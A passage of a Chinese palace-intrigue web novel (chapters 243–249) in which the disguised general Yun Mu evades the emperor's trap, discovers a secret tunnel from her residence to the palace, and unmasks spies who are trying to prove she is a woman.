俞白说完才惊觉他问了一个蠢问题。云暮日日伴驾,他父亲出征这么大的事情怎么能瞒得住他? 云暮回道:“知道。三日前,他没同你说?” 俞白忽然朝云暮行了一礼:“先前是我口出狂言,我向你赔罪。” 这一下把云暮惊得直接站了起来:“我本就没怪你,无需如此。” 俞白没有起身,他第一次朝云暮露出哀求的表情:“你能否帮我做件事?” 云暮并未一口应下,她道:“世子不妨先说是何事。” 俞白道:“你能否派两个人将我送至我爹的军中?” 云暮还当她听错了,又问了一遍:“世子说什么?” 这一次,俞白的声音比之前更为坚定:“我要去西南。” 云暮回绝了他:“不可,将在外,家眷必须在京,这是规矩。” 俞白猛地将头抬起,怒道:“你的意思是我爹会谋反?昔年他和我祖父击退西南诸国,为大梁立下汗马功劳,若是想反,早就反了,还用等到现在?” 这些年长平侯将俞白护得太好,以至于他出口毫无顾忌,这话让人听见,长平侯府满门百余个脑袋还要不要了? 云暮冷声道:“世子不如把声音再拔高些,好叫全京城的人都听听你的混账话。” 俞白抿着双唇,倔强地看着云暮:“你帮不帮?” 云暮不语,此刻梁文帝定派人守在长平侯府周围,俞白来寻她的事也绝对瞒不过他。 没等到答案的俞白扭头就走,“你不帮就算了,本世子凭自己也能走出这京城。” 云暮嗤笑了一声:“就凭你,你信不信只要你靠近城门,便有百弓对准你的后背?世子,皇上只是病了,不是傻了。” “我又没说不帮,只是我有个条件。” “什么?” 三日后,几个农户推着一辆空无一物的木板车往城门口的方向而去,守城的侍卫对着路引打量了几眼,手一挥便将人放出了城。 直到再也看不见城门,几人终于卸下伪装,其中一个赫然是俞白,而他身旁的几人正是沈聿明派去江南寻辛百草的手下。 俞白朝京城的方向看了一眼,手抚上心口,他心道:“就这样吧,或许出去一回就能把人放下了。” 云暮立于城墙上,看着几人渐行渐远,她的身旁站着的男子和俞白竟生了张一模一样的脸。 “大人为何要帮世子出京?” 云暮摇头不语。 阎王好见,小鬼难缠,西南多小国,地势易守难攻,想收服他们并非易事。梁文帝最多还能坚持三个月,此后京城必会大乱,俞白不在,她只用保下老侯爷和长平侯夫人,会轻松不少。 “回去吧。” 瓶中的药慢慢见了底,云暮手头里的赤焰虫也越发少,沈聿明慢慢发现了不对。 他探向云暮的手臂,穿了四件衣裳,又披了狐裘,但她整个人还是冷如冰块。 “你怎地这般凉?” 云暮面不改色地撒了个谎:“斗篷忘在了布政坊,这是安叔才拿来的,手脚冰凉实乃正常。” 沈聿明半信半疑地给她号了个脉:“你当真没生病?” 云暮立眉竖眼:“王爷这是在咒下官?” 沈聿明大呼冤枉:“旁人想让孤关心两句都难,你倒好,孤的担忧在你这里成了诅咒。” 云暮不想他再追问,便岔开话题:“俞白送到了吗?” 如今梁文帝将朝中之事都交由沈聿明等人,他忙得脚不沾地,云暮已经有几日没见过他了,他的人行事靠谱,长平侯府那边也没有纰漏,俞白那边想来也不会出什么差错。 提到俞白,沈聿明的醋坛子又打翻了,“本王还没问你呢,好端端的,为何要帮他,你忘了他那日说的话了?” 第二百四十四章 算计 西南及润州频频传来大捷的消息,梁文帝喜不自胜,连在宫中设宴三日。 只是云暮左等右等都没等到辛百草的消息。师兄早前传回的信说师父只在谷中停了几日便往西南去了,这么久没有消息,难不成是出了什么意外? 云暮愁得连前面何时站了一个人都不知道。 “云将军举荐有功,下官敬您一杯。” 云暮毫无反应,直到面前的人又唤了几声,她才疑惑抬眸。 “何事?” “云将军慧眼识珠,举荐长平侯领兵前往西南平乱,下官心悦诚服,特来敬您一杯。” 云暮依旧是懒懒倚在圈椅里的姿势,“你言重了,长平侯少时便与老侯爷为大梁开疆拓土,对大梁和皇上忠心耿耿,即便无本将军举荐,他亦会为大梁再次征战沙场。” 那人的脸羞红了一片,“是下官狭隘了。” 云暮终于直起身子,端起茶杯碰了一下他的酒杯。 梁文帝的目光在云暮身上逗留了片刻,而后便放在了不远处的俞白身上,他朝对方招了招手,“俞白,上前来,让朕看看你。” “俞白”恭敬地朝他行了一礼,全然不复往日那般亲近。 梁文帝指着他对淑贵妃笑道:“你瞧瞧,皮猴长大了,稳重了不少。云风三天两头和朕诉苦,说不知该拿这小子怎么办。早知如此,朕就该早些派他出去领兵才是。” 淑贵妃捂嘴笑道:“那也得皇上舍得放人出京才是。” “俞白”勾出一抹苦笑,“皇上和贵妃娘娘快别笑话臣了,父亲不在家中,祖父的身子也总不见好,母亲一人操持侯府,小子再不懂事,爹回来后,板子可是少不了的。” 梁文帝被他的话逗笑了,心中的疑虑也散了,他指着云暮道:“还得多亏了云大人劝说,否则朕是舍不得让你爹去那等穷山恶水之地的。” “俞白”眼中划过一道怨恨,他对着云暮的方向笑道:“是该和云将军好好道声谢。” 梁文帝满意一笑,命吕梁将桌上之酒送到俞白面前,“朕听说前些日子云将军派人送你回了府,你却和他吵了一架,去和他赔个罪,朕就在这里看着。” 云暮一直关注着那边的一举一动,见“俞白”端了被酒来,她扯出一抹笑,“世子。” 满满的一杯酒,就算“俞白”走得再慢,还是撒出来不少,等到云暮面前时,只剩下半杯。 “云将军,多谢。” 云暮端起茶杯,和“俞白”的酒杯轻轻一碰:“世子谢的是哪一件事?” …… 初时的和谐已经消去,两人最后不欢而散。云暮冷眼看向梁文帝,却得了对方的一个笑。 茶水喝得太多,云暮趁人不备出去了一趟,从茅房出来后,她发现放在门前的灯笼已经没了踪影,她转动双目,不着痕迹地扫了周围一圈。 宫宴莫说刀剑不许带,就连匕首都不行,好在她随身带了银针。 云暮指尖闪过银光,她行了几步,又折了一段树枝充作武器。 路过一个拐角时,一个小太监忽然滚至她面前,“云将军,求您救救小福子吧,他快死了。” 云暮的戒心本就重,她一脚将人揣出去,“放肆。” 那个人影又重新爬了回来,对着云暮直磕头:“云将军,求求您救救小福子吧,他真的快不行了。” 走路无声无息,被踹了这么重的一脚后,就连一声闷哼都不曾发出,云暮信了他才是假。 但她想搞清对方是何阴谋,便问道:“小福子是何人?你同他是什么关系?” 小太监见有戏,忙道:“回将军,奴才小顺子,小福子是奴才的同乡,这几日他高烧不退,灌了好几副药都无用,眼看人快要熬不住了,这才出此下策来请将军去看上一眼。” 云暮眯着眼看他:“你可知本将军师从何人?” 小顺子道:“将军师从神医辛百草,大梁无人不知。” 云暮朝他伸出手:“你既知晓,就该付诊金,除去皇上和后妃,要本将军看病的,一律得先付百两诊金。” 小顺子咬咬牙,将荷包里的碎银都倒了出来,“云将军,奴才只有这些了。只要将军救小福子一命,奴才来日结草衔环报答您的恩情。” 云暮掂了掂荷包,不多,但也有五、六十两,她感叹道:“他与你不过只是同乡,你无需对他这么好。” 小顺子心里咯噔了一下,面上依旧镇定,“将军,小福子曾救过奴才的命,奴才如今不过是以恩报恩罢了。” 云暮敛住了笑:“带路吧。” 脚步矫健,走路无声,是个练家子。两人越走越偏,云暮停下脚步,“小顺子,这不是去坦房的路吧?” 小顺子停下解释道:“小福子在绮春宫侍奉贵人,从这条路穿过去会更快。” 小路仅有一个半人的宽度,周围不是假山便是高树,被人两头围住,她恐难逃出,是以她不敢轻易迈出步伐。 “换条路。” 小顺子笑眯眯地靠近云暮:“云大人,小福子还在等着呢,咱得快些才是。” 话音未落,他就对云暮出手了。 云暮抵挡了一番,便装作力不从心,被小顺子“劈晕”了过去。 被人放下后,云暮听见门上落锁的声音,她睁开双眼,却只看到一片漆黑。 此处没有点灯,今夜又无月,她才欲寻找逃脱之法,又听到一道脚步声在靠近。 黑暗的殿里被暖黄色的烛光照亮,云暮将双眼睁开一条缝,见对方正在桌上摆了许多不堪入目的东西。 在这宫里,敢这般暗算她的也就梁文帝一人,死到临头还不忘这种事。她在心中冷笑了一声,无声靠近太监,在对方发现之时,一记手刀正好把他劈晕。 桌子被一道床边,云暮又给此人换上她的衣裳,最后熄了蜡烛后才光明正大地从大门走出去。 才到宫门口,她就看见了一抹明黄色,她弯下身子行礼。来人的心一直放在殿中,哪会注意到一个无关紧要的小太监? 只是在进门前,梁文帝回头看了一眼,觉得方才那人甚是眼熟。 第二百四十五 我要搬走 梁文帝一脸餍足地从殿里走出,他心想,太监的滋味也不过如此。才出宫门,他惊得往后退了几步。 “云卿,你们怎会在此处?” 不止云暮,诸多大臣也都齐聚在此。她扫了一眼丞相,没有出声。 崔浩只能道:“皇上您久出不归,吕梁亦不知您的行踪,臣等担心,便出来寻人。既然找到了,臣便带着百官回去了。” 梁文帝挡在门口,单手撑着宫门。吕梁和云暮交好,他怎会让吕梁得知此事。 云暮往宫内扫了一眼,几个黑乎乎的人影闯入殿中,不多时,一声惨叫从云暮他们的身后传来。 “啊!” 早已安排妥当的云暮快速来到梁文帝身边,并大喊;“来人,护驾。” 一直跟着的金吾卫闯入殿中,脸上皆是戒备。云暮再三嘱咐:“小心些,务必留下活口。” 一个人影跌跌撞撞地跑出殿门,他一只手捂住身后,对着虎视眈眈的金吾卫,他不禁哭喊:“有贼人,快来人,有贼人对我行了不轨之事。” 宫里的人哪儿听过这些丑闻,他们耳朵高高竖起,伸长脖子朝空荡荡的宫室望去。 梁文帝阴鸷地看着云暮,心里生出了几分恶心。所以方才在榻上任由他动作的人不是云暮? 房里未点烛火,一片昏黑,金吾卫拿着几个火折子步入殿内,将一面蜡烛点燃。 床边的地上散落了好些秽乱之物,金吾卫哪见过这个阵仗,想到梁文帝就是从这间屋子出来,几人不敢再在这个屋子里待下去。 “将军,这……” 那个小太监见状,哭诉的声音更大了,他没发现隐在人群里的梁文帝的脸色变得越发黑。 云暮手一挥,就有人将小太监带了下去,她看向梁文帝:“皇上还真是宝刀未老。” 这句话直接坐实了太监口中之事就是梁文帝所做。她来之前,还故意激怒了几个御史,把人一道带了过来。 因前朝之故,大梁开国以来便不许太监弄权,梁文帝破格将云暮提到金吾卫大将军已经遭了不少骂,如今又是亵玩太监被群臣抓奸在床,御史扑通跪下对着梁文帝就是一阵训斥。 言语犀利,把人批得一无是处,梁文帝不知该做何回应,双眼一翻,晕了过去,又是一阵兵荒马乱。 待勤政殿只剩下云暮和沈聿明二人时,沈聿明一把将人揽入怀中,侧脸紧紧贴着她的脖间,感受着脉搏下微弱的跳动。 “我差点就要派人一间宫室一间宫室搜了。” 他不过低头抬头的功夫,云暮就没了踪迹,等了许久也不见人回来,手底下的人把云暮能去的地方都寻了一遍,依旧没有音讯。 而他的父皇则在听到宫人的耳语后,满面春风地离去。直觉告诉他不对,但他却没见到心心念念之人。 好在云暮不久就回到了大殿之中,但他一句话都没搭上,云暮不知为何突然请丞相等人随他走一遭,还带上了御史。 直到看见方才这个画面,他才明白云暮处境有多艰难。 “对不起,我该一直派人跟着你的。” 云暮回抱住他,安慰道:“此事与你无关,我也想不到他竟会做出这种事。” 毕竟她和梁文帝有誓约在先,这么多年来,她不肯,他也不会做得太过分。 云暮又道:“不过也正好,他先毁了约,往后行事便可不再受其约束了。” “大人,王爷,你们快来。” 云暮才回到云府,便被十五带去了西院。路上她和沈聿明对视了一眼,不由问道:“发生何事了?” “十五发现了一个洞,里头黑乎乎的,像极了从前,十五不敢进去。” 洞?云府每三个月都会检查一次,根本不可能有狗洞,况且狗洞怎么会是黑的? 云暮压下疑虑,继续朝西院走去。十五松开她的手,站在一个小圆盘上,不消片刻,一盒洞口出现在几人面前。 十五没有走近,而是指着洞口道:“大人,就是这个。” 云暮快步上前,洞口不算小,但也只能容一人通过,再往里就什么都看不清了。 她正要往下,手臂被沈聿明拉住,“别急,先让人把此地看好,再带几个人一起下去。” 小厮将西院团团围住,一只苍蝇都没放进去,云暮和沈聿明则是带上了砚石和文竹。 两人一前一后,将云暮和沈聿明围在中间,朝着地道深处走去。 长长的甬道里,一时之间只剩下几人的脚步声。 走了许久,还是没能见到尽头,云暮将灯笼提得更高,“这到底通往何处?云府竟然还有这样一条密道。” 若不是被十五发现了,她不知还要被蒙在鼓里多久。 地道七拐八弯,沈聿明也说不好通向哪里,他握紧了云暮的手,“走了有小半个时辰,想来快到尽头了。” 几人又走了许久,才终于看到了一段阶梯。在墙上摸索了一阵,云暮将视线落在那个没点燃的灯上。 她拍了拍沈聿明,道:“把我举起来。” 密道虽不算高,但云暮想将耳朵贴在顶上查探上面的情况还是不能。 沈聿明将人稳稳抱在肩头,“可以吗?” “可以,你莫要乱动。” 云暮的掌心贴着石壁,将耳朵也贴了上去,闭眸听着上边的动静。 砚石和文竹的双眼四下乱瞟,手也在寻着开门的机关,一副忙忙碌碌的样子。 直到上头的脚步声逐渐远去,云暮才拍了拍沈聿明的头,“人走了,放我下来。” 她拿出火折子,点燃了那盏熄灭的灯,头顶的门口缓缓打开。 云暮拾阶而上,走在最前头,她看着眼前熟悉的布局,心中万分恼怒。 这儿竟是勤政殿! 沈聿明的脑袋从她肩头后冒出,“怎么不走了?” 话才说完,他也发现了不对。不远处脚步声又起,他忙把正在发愣的云暮拉了下来,砚石飞快地将那盏灯吹熄。 云暮久久才能回过神,她冷笑了一声:“我道他怎么每次都能躲过云府的守卫,原是使了这等法子。” “我要搬走。” 第二百四十六章 进宫摊牌 回去的时间足足比来时少了一半,才出洞口,云暮就吩咐安叔收拾东西,又派了几个人去将城南的宅子收拾出来。 安叔不明所以,看着她阴沉的脸色,识趣地没问出口。 云府的东西不少,举家搬到城南多少都得半个月,但云暮已经不想再待在此处。 她收拾了几套衣服,还带了几本未看完的书,带着十五去了城南。然动静再小也还是引了旁人的关注。 “好端端的,云大人怎么来城南住了?” “这宅子都空置了这么久,它要不是云大人的宅子,早就被人占了去。” …… 孟煦在学堂也听到了风声,午间休憩时,他敲开了云暮的府门。 云暮带来的这几个小厮不认得孟煦,直接将他拒之门外,“我家大人今日谁都不见,这位公子请回吧。” 孟煦才将腰牌递了过去,就听到一声:“先生。” 小厮对十五行了一礼:“少爷。” 十五牵着孟煦的手,对小厮道:“这是孟先生,往后先生再来,直接把人迎进门。” “是。” 十五晃了晃孟煦的手:“先生,大人心情不好,你一会儿和十五哄他开心可好?” 孟煦放缓脚步,“发生了什么事?” 十五不知该说不该说,但想到云暮连安叔都不曾说,便闭嘴摇头。 这座二进的宅子算不得大,还是她成了中郎将后置办的,远不能及云府,但胜在离她幼时住的云府近。 云暮坐在房中,披风之外还有一件狐裘,厚重的衣物能将人压塌。 此刻她正拿着剪刀剪着纸钱。许久没有回过旧宅,今日她心情不好,想回去看看。 听到脚步,她还当是沈聿明,头也不回地说道:“你来了。” 孟煦拍了拍十五,递给他两只用纸折的蛤蟆,“先生有些话要同大人说,十五先出去玩可好?” 十五有了蛤蟆便忘了云暮,捧着蛤蟆二话不说便走了。 孟煦抬步往房里走去,“怎么突然就搬过来了?住在那边上朝不是更方便些?” 云暮不大想同孟煦说这些事,便道:“住腻了,这儿离你的学堂不算远,十五去学堂我也放心些。” 孟煦打量着她的神色,无奈道:“撒谎,你不想说为兄还能逼你说不成?” 他拿起桌上的剪刀,素纸在他手中很快就变成一串串纸钱。 云暮单手撑脸看他,道:“从前怎么不知兄长还有这等手艺?” 孟煦顿住,险些剪到手,他目露怀念,“学堂里的孩童多,平日里会给他们做些好玩的,纸钱于十五喜欢的蛤蟆,是极简单的。” 云暮也听到了他们方才的对话,她朝院中看去,十五正和那两只纸蛤蟆玩得正开心。 “我记得兄长从前也给我做过纸鸢。” 她跟孟煦读书之时,课业每有进步,孟煦总会亲自去砍竹子为她做纸鸢。可是后来,那些纸鸢在那场大火里成了灰烬。 孟煦凝眸望她,心里有了主意,又陪着她坐了片刻,就起身告辞了。 宵禁前,云暮提着装得满满当当的盒子翻墙进了云府。 按理说旧宅被她师父买下,已然成了她的地盘,本不该如此小心翼翼。然她的名字和年龄都能和那个死去的“云暮”对得上,她只能如此。 她循着记忆来到祠堂,将酒杯一一摆上,张口想说些什么,最后还是闭上了嘴。 宵禁前最后一下梆声被敲响,云暮才拎着空盒子走出祠堂。行了几步,她揪下两片绿叶朝暗处甩去:“谁?” 北风呼啸,绿叶没了内力裹挟,被风抛到空中,又转悠着飘落在地。 除去风声,再无其他的声音,夏日烦扰的虫鸣早已化为虚无。云暮握紧腰间的长剑,朝着令她生疑的地方而去,但那里空无一物。 云暮仍不放心,然时间紧迫,她只能暂且离去。如今的府邸不比从前,她带来的小厮也不算多,着实不放心十五。 她走后,一个黑影出现在自暗处出现,肩头还扎着一枚绿叶。 今日的布政坊比起往常有些不同,上值的时间快到了,上将军罕见地没有出现。 冯章才要派人去云府问个究竟,一个银白色的马首闯入他的眼中。 “将军,皇上派了人来,请您进宫一趟。” 无非是搬去城南一事,事情超出梁文帝的把控,他不问,心难安。 这一次来到勤政殿,比起前几次,云暮对殿内的东西多了几分探求。太子的书房里有密室,勤政殿底下有直通云府的地道。 她不合时宜地想:“沈聿明的书房会不会也有密道?” 梁文帝坐在龙椅上,双目一直落在云暮身上。 “云卿,朕怎么听说你搬去城南了?” 云暮答道:“住久了,腻了,想换个新环境。” 梁文帝又问:“朕还当你对昨日那件事耿耿于怀。” 云暮冷呵了一声:“皇上说笑了,您贵为大梁国君,即便是日日宠幸宫人,臣都绝无异议。” 梁文帝的软声哄道:“朕昨夜吃多了酒,寻错了地方,又误以为他是你,这才弄错了。” “今日上朝,御史骂也骂了,人朕已赐他自尽了,往后不会再有此事发生。” 云暮面色愈发冷,“皇上不必同陈保证写什么,与其在此处日日忧心臣的想法不如您,不如在多寻几个乖巧听话的。” 一来便夹枪带棒地说话,梁文帝的耐心也慢慢耗尽。 “朕这些年待你如何,所有人都知,你呢,稍微和朕低个头怎么了?朕的时间所剩无几,朕想……” 云暮忽然道:“云府,西院,圆盘,密道。皇上可还记得?” 她的目光在勤政殿内转了一圈,最后落在一个白釉瓶上,冷笑道:“皇上,您将宅子赐给臣,将嘉禾安排在云府旁边,想来皆是因为这条密道方便你在宫内外行走吧?” 梁文帝神色一僵,“你……你都知道了?” “是,云府下有那么长一条密道,此前却无一人发现,云府翻新时找的工人里,想来应该有皇上您安排的人吧?” 第二百四十七章 赌场 这一次见面,两人不欢而散。 云暮回到府中,看着整理出大半的物件,多是来自梁文帝,她本想让人把东西送回宫中,但转念一想,东西都是她这些年为他卖命所得,凭什么要还回去? 给了她的,就永远是她的了,至于梁文帝会不会收回去,他若是厚脸皮,那便拿吧,即便没了这张皮,她也有别的活法。 但又不免有些后悔今日的冲动。 这些年她做了不少脏事,和梁文帝反目后,难免会有人要对她下手,她应该先将安叔和十五送走的。 不过才酉时初,暮色已至,寒意侵袭。一老一少坐在马车内,马车后还跟着几个护卫模样的年轻人。 “安叔,我们去哪儿?南下是何处?”十五扒着窗沿问道。平日里云暮也只带他在京郊逛逛,最远也就到过落霞山,还是被关在地下,不见天日。 方才云暮急匆匆把在库房的他和安叔挖出来塞进马车,只道了一句南下玩一些时日。 安叔忧虑地抚着十五的脑袋,出口的话尽是安慰之语。 “去找小川哥哥怎么样?” 季川在京城时,总爱寻些小玩意给十五,故而即便过去了大半年,十五也还一直惦记着季川。 他拍了拍手,“好耶,小川哥哥说过,江南的蛤蟆可多了!” 无忧无虑的十五让安叔心中的担忧更甚,只祈求这一路上莫要出意外。 把人送走后,云暮把自己锁在平时制药的房间。前两日她收到一盒不知从何处送来的赤焰虫,她怀疑是师父所赠。 即便不是,她眼下也管不了多少了,药再断上一段时间,她就和梁文帝一样,熬不过这个冬天了。 府中的一部分东西已经送去了城南,留下的药材幸而勉强够制一瓶药。 砚石蹲坐在门口,面上满是纠结。砚清才回云府不久,最终还是得南下,但这全非坏事。 去了江南,天高皇帝远,就算旁人要对他们下手,也得花费不少时日。他只是担心他们能否安全抵达江南。 云暮宽慰道:“砚清的身手你还不放心吗?一起南下的人都是有身手的,如今和圣上不和的消息并未传出,他们日夜兼程,定能安全抵达江南。” “什么江南?” 一旁的围墙上忽然探出一个脑袋,云暮手中的银针擦过来人的脸,划出一道血痕。 “云暮,你要谋害亲……唔唔。” 云暮只听了前面的几个字就察觉不妙,忙上前捂住沈聿明的嘴。 “闭嘴。” 砚石见状,颇有眼色地退了下去。 沈聿明扯下她的手,“我还什么都没说呢,砚石跟在你身边这么久,他就算知晓也不会出去吐露半句。” 云暮对她的人自然是信任的,只是她总觉得近日总有人在暗处盯着她,藏得不算好,但每次都找不到。 起初她当对方是暗一,故意诱了几次,对方还是无动于衷,她便知那个不是梁文帝的人。这种不可控的感觉让她不安。 云暮对沈聿明说出了她的疑虑,沈聿明回想这几日见到云暮时的场景,确实发现有双眼睛一直在盯着他们。 “父皇的人?” 可这也不对,若是梁文帝的人,他们早该被宣进宫了。 云暮摇头,但双眼很快又亮了起来,“我想到一个法子。” “什么?” 第二日午时,云暮带着府上的几个小厮大摇大摆地去了京城最大的赌场,千金坊。 云暮来千金坊的次数不多,每回都是为了转捉拿一些闯进此处试图借此脱身的作乱之人。 管事忙迎了上来:“云将军,稀客啊,近来千金坊可没人犯事,也没人报官。” 管事见了云暮,堪比见了行刑台在向他招手。 云暮被他的反应逗乐,“无事本将军就不能进来看看?大梁律法可有规定大梁官员不许来赌场?” 管事可不管云暮今日前来是为了何事,只要不是来找麻烦,一切都好说。 他扯出笑容,“那自然是没有,大人若想要玩,小人可以陪在左右。” 云暮拒绝道:“买大买小本将军还是会的,用不着。” “是。” 外头天寒地冻,赌场里没挖地龙,但赌桌上的人却是赤着膀子,面红耳赤,好似下一瞬热气便会从他们头上喷涌而出。 她倚在栏杆上,望着楼下喊得热火朝天的人,不多时,三五个人勾肩搭背进了千金坊。 云暮很快就移开了视线,转而看向赌桌,随口说了一个字:“大。” 楼下之人甩开搭在他肩上的手,隐晦地朝上一看,朝着云暮所在的方向而来。 “买大买小,买定离手。” 有人喊大,亦有人喊小, 三个三,两个二,一个五。 喊大之人除去云暮,无一不扼腕叹息。 依旧是先报大小再摇骰子,云暮依旧喊了大。这一次,依旧还是小。 管事走上二楼,眼看云暮面前的银子越来越少,他怒瞪了一眼摇骰子之人,“云将军,这个给你,定让赚得盆满钵满。” 云暮接过那个金雕的貔貅将其压在银票上,这一次,她仍旧喊大。 云暮连着输了两把,方才还跟着她一起下注之人有些犹豫,一时不知该不该再信上一次。 而这一次,三个六,一个五,两个一,正是大。 一连赢了好几局,云暮笑着拍了拍貔貅的头,对着管事说道:“你这貔貅去哪儿求的,还真灵,它才来,本将军也想去求一个。” 管事笑道:“哪有什么求不求的,不过是将军您方才卖小人几分薄面罢了。” 此后有赢有输,但算起来还是赢的更多一些。 就当云暮要离开时,一个赌红双眼的赌徒拉住云暮的去路,“云将军,能否教小人一些几个赢钱的法子?” 眼前之人穿着粗布麻衣,但下的注又对不上他的这身打扮。 云暮道:“怎地,绫罗绸缎拿去换银子了?本将军瞧着你方才的气势,也不像是个缺银子使的。” 那人挠了挠脸,道:“即便不缺钱,那也没有白白把钱送人的道理。将军,方才那些都是小人家中的积蓄……” 第二百四十八章 故意为之 云暮迷失在一句句吹嘘中,给此人传授了不少赢钱的“方法”,又听闻他一连几日都是清粥淡饭,大手一挥,将人带去醉江月点了一桌子的菜。 正吃着,隔壁桌的一人突发恶疾,云暮视而不见,只是一味地招呼着杜洋吃菜。 杜洋看着口吐白沫抽搐不止的人,于心不忍,他搁下筷子说道:“听闻云将军师承药王谷的神医辛百草,医术尽得神医真传,治这种小病定然不在话下,不如也让小人开开眼,见见将军的风姿。” 云暮又被夸得飘飘然,她骄傲地扬了扬下巴,得意道:“不过就是一个小病,本将军一出手就能药到病除。” 说罢,她捏着银针对着倒地吐沫之人随意扎了几下,那人很快便神色如常,两眼刚睁,发现救他之人是云暮,惊恐得头也不回地跑出了醉江月。 杜洋忽然说道:“将军方才施针治病时,倒是叫小人想起一个故人。” 云暮便擦手边好奇发气问:“哪位?” 杜洋的双目放远,低声道:“就是曾经太医院里的那位云院判。” 云暮的心沉了下来,面上依旧摆出好奇的神色:“云院判?可是十几年前葬身火海的云院判?” 杜洋狠拍了一下大腿,“正是,云将军也知晓此人?” 云暮轻笑了一声:“你当本将军这些年在皇上身边是吃干饭的?宫里多少秘辛本将军都能信手拈来,更别说这件事。” 她意味深长地看了杜洋一眼,“只要本将军想,今夜你祖上十八代的资料就能递到本将军的桌上。” 杜洋心里一咯噔,有一种在云暮面前无处遁形的感觉,他打着哈哈道:“云将军说笑了,小人不过只是京城里的一个无关紧要之人,哪敢劳动将军身边的人,只要是您问,小人定全盘托出。” 云暮吃了一口菜后才道:“本将军和你相谈甚欢,那话也不过随口一说,你莫要当真。” 杜洋并未完全放心,心里想的是等会儿和云暮分别后必须尽快离京,否则他命危矣。 两人拿到想要的情报后,都无心用饭,云暮叫来小二,命其将那些未动过的菜装进食盒。 “杜洋,你家中的妻儿想来没来过醉江月,不如拿回去,让他们也尝尝。” “将军,这如何使得?” 杜洋的身世是为了接近云暮而捏造的,别说妻儿,就连杜洋这个名字也是随意捏造的。 见他推拒,云暮冷了脸,“妻儿在家中饥饿难耐,你却不曾思量他们的处境,难不成你说的那些话都是哄本将军?” 杜洋无法,只能接过食盒,“多谢大人体恤。小人哪敢欺瞒将军,若有一句虚言,定叫小人赔个血本无归。” 云暮终于满意离去。 杜洋在小巷里绕了几圈,将食盒丢给缩在角落里的乞儿,又啐了一口,“呸,当谁没见过好东西似的。” 从前他还在殿下跟前当值时,便是山珍海味也见多了,殿下用不完的好饭菜也都是他们私下里分食。 他嫌恶地穿过争抢不休的乞儿,朝更深处的巷子走去。 几个挑着担子叫卖的小贩也一点一点往巷子深处挪。 “云将军,您好端端地,怎么派人把小人抓来了,他们又是什么人?” “杜洋”眼上的黑布被揭下之后,他终于看清了面前之人。扭头看向周围时,才发现他的同伙也都尽数被抓了来,如今正躺在地上,昏迷不醒。 云暮支着下巴看他,“杜洋?” “杜洋”愣了一下才反应过来云暮是在唤他,“将军,小人从不惹事,只是欠了赌坊点银子,如今也未到还钱之日,您怎么派人把小人抓起来了?这其中是不是有什么误会?” 云暮不禁冷笑,事到如今还在装,她的人早就去千金坊查了,此人今日才来,就兑了一些筹码借此和她套近乎,压根就没欠赌坊的半两银子。 她接过砚石递过来的东西,悠悠道:“孔瑞阳,西郴人士……” 云暮每念一句,“杜洋”也就是孔瑞阳的面色就白一分。 她卷起记录着孔瑞阳身世的纸张,在手心轻敲几下,道:“杜洋,本将军寻孔瑞阳许久,你可认识他?” 杜洋咽了咽唾沫,“将军,小人并不认识此人。” 云暮“哦”了一声,“不认识?此人同本将军有仇,你既不认识,本将军就派人去西郴走一趟,请他的家人来京城一趟,好尽尽地主之谊。” “不可!”孔瑞阳大声道。 云暮道:“为何不可?你在教本将军做事?” 孔瑞阳才察觉他的反应太过激烈,于是开始找补:“将军,此事万万不可,都说祸不及家人,您真去了西郴,恐对您的名声有碍。” 云暮哈哈笑了两声:“名声?本将军从不在乎这种东西,旁人的想法于本将军不过是浮云。” 她看向砚石,吩咐道:“你亲自带人去西郴,路途遥远,本将军亦不是恨心之人,你从衙门弄几辆囚车将人运来京城,免得人累死在半路。” “是。”砚石带着几个人匆匆离去。 孔瑞阳将身子一扭,对着砚石的背影大喊:“不许去!” 见砚石他们步履不停,孔瑞阳心中更加慌乱,他看向云暮,“云将军,小人与你无冤无仇,你为何故意陷害?小人家中的长辈体弱,经不起舟车劳顿,您让他们来京城,就是在要他们的命!” 云暮疑惑道:“你是杜洋,本将军寻的是孔瑞阳的麻烦,与你何干?” 孔瑞阳见他还在装傻,怒道:“我就是孔瑞阳,我与你今日才相识,不过是说了几句话,吃了顿饭,怎么就和你有仇了?” 云暮抚掌笑道:“承认了啊,说吧,你背后的主子是谁?指使你接近本将军是为了何事?” 孔瑞阳不语。 云暮看向那几个昏迷之人,对身侧之人说道:“去,把人弄醒,分开审。” 就算这些人没一个开口,她也能猜出他们的目的。 无非是想坐实她的身世,举她欺君罔上,她怎能让他们如愿? 第二百四十九章 昏了几天 “云暮当真信了孔瑞阳的话?他如今竟真有这么蠢?” 梁承熙嗤笑了一声,他被废为庶人,梁今越从太子之位跌了下来,云暮所站的老七正被父皇看中,云暮可谓是风头无两。 没了对手后,没想云暮的脑子也没了,早知如此,当初他和母妃就该韬光养晦。不过他拿捏了对方的秘密,也不怕云暮不听从于他。 “可不是,小人亲眼所见,他在桌上和孔瑞阳相谈甚欢。” 说话之人名叫夏光,正是方才云暮在醉江月所救之人,他“惊慌而逃”后来了此处和梁承熙禀明情况。 昔日的贵妃何秋林死前,曾暗中给梁承熙留了一大笔银子,梁承熙萎靡了了好一阵子。 那阵子他时常混迹赌坊,要么就是买醉,因他出手阔绰,被好些人缠上,他便顺势收了他们作为手下。 时间长了,这些人也知道他和云暮的恩怨,不时会替他去监视云暮。云暮警惕心极高,他不常让他们行事,不想盯了几个月,终于发现了端倪。 梁承熙又想起母妃在刑场上曾说过的话,其中就有一件是关于十几年前的旧事,而云暮的名字和年纪都和那个云院判之女一模一样,这世间当真有如此巧合之事? 他拿出几两银子对着夏光道:“方才得到消息,云暮城南的宅子正在招小厮,你拿这些去找点门路,务必要混进去,探明他的身份。” 云暮若真是女子,那便是欺君罔上,诛九族亦不为过。 他已是庶人,登不登上那个宝座已经无所谓,但他要为母妃报仇。 檐上之人将瓦片放了回去,悄无声息地离开。 翌日早上,云暮正坐在正厅喝茶,面前摆了一盆烧得正好的炭火,再往前几步,还站了两排身强体壮的小工。 云暮看了一圈,最后目光落在了正中间的那人身上。 “是你?本将军记得你,昨日见了本将军跟老鼠见了猫,今日怎么敢来云府?” 夏光的头埋得更低了,他抖着嗓子道:“小的自小就胆小,每次见了官都要跑,昨日将军屈尊相救,小人惶恐,情急之下便跑了。” “回去后听闻将军的府上要招小厮,工钱也给得比别的人家多,小人便想着来和将军道声谢,也想来碰碰运气。” “小人曾听人说过几个字,衔什么报恩,将军昨日救了小人一命,便是不给工钱,小人也愿意为将军效犬马之劳。” 云府此次只要两个小厮,其余人皆是奔着工钱来的,听了夏光之言,无一不怒视他怀了规矩。 挑选小厮的消息是昨日出门前就放出去的,为的就是诱敌上钩。 